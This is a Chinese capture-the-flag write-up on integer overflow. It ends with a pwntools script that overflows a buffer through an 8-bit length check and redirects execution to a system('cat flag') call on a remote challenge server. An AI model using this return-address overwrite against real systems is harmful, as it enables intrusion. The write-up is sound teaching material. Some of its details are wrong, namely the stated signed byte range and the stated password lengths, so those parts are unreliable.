基本原理

首先来看看啥是整数溢出

整数溢出就是说:某一个整数的值大于了它原本定义空间的大小,就会发生溢出,它又重新从0开始计算大小。

比如1字节,最大是255

如果定义的是一个有符号数,则表示的值是-127~128

当定义某一个数超过128的时候,就会溢出,比如129其实就是-127

这里我们看一个代码更加的形象

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main(){
unsigned short int a = 1;
unsigned short int b = 65537;
if(a == b){
printf("Int overflow successfully!\n");
}
return 0;
}

image-20230601134908108

可以看到这里a和b是相等的

这个是因为无符号数ungigned short int

范围是0~65535

当超过65535的时候就会 溢出,比如65536就是0。所以上面的65537==1

(这里其实再数学上叫同余式)


题目

现在基本懂了

来看看攻防世界的int_overflow

看到这个题目 看名字就知道是关于一个整数溢出的漏洞

首先用checksec看看

image-20230601135712723

是一个32位的,没有cancary和PIE的

这个感觉就比较容易了

用IDA打开看看

image-20230601135911275

老样子,首先看看这个字符串【shitf+f12】

发现由system 和 cat flag

还有一个Success

这里大概就是要利用的地方了

然后运行一下程序,看看main函数,主要的流程

image-20230601140124614

选择1继续【login函数】

image-20230601140152585

这里的函数貌似都很安全

接着看看check_passed函数

image-20230601140747708

传入的buf 就是这个函数中的 s

看到有一个下面有一一个strcpy,字符串拷贝函数,这个函数一个不小心就溢出咯

这个dest的长度和s的长度差太大了吧,哈哈哈,这样肯定溢出了啊

首先垃圾字符填充这个dest 14h

然后看到image-20230601141348674

再ret 之前还有一个leave 指令,也就是说还需要把这个leave指令给覆盖掉才能进行ret

leave指令相当于:

mov esp,ebp和pop ebp

3+1 也就是4个字节的大小

所以我们真正需要填充的垃圾字符是14H+4H=18H[也就是24]

password需要的长度是38个字符,也可以是259264个字符

那么我们想让返回地址到哪里去呢?

肯定是上面的system 和 cat flag 这里呗。

image-20230601141834761

得知这个flag的地址是0x804868B

这里password取的是265个字符

最后的payload:

1
2
3
4
5
6
7
8
9
10
from pwn import *
i = remote('61.147.171.105',53752)

payload = b"a"*0x18 + p32(0x0804868B) + b"a"*235

i.sendlineafter("Your choice:","1")
i.sendlineafter("your username:","zzz")
i.sendline(payload)
i.recv
i.interactive()

image-20230601144048919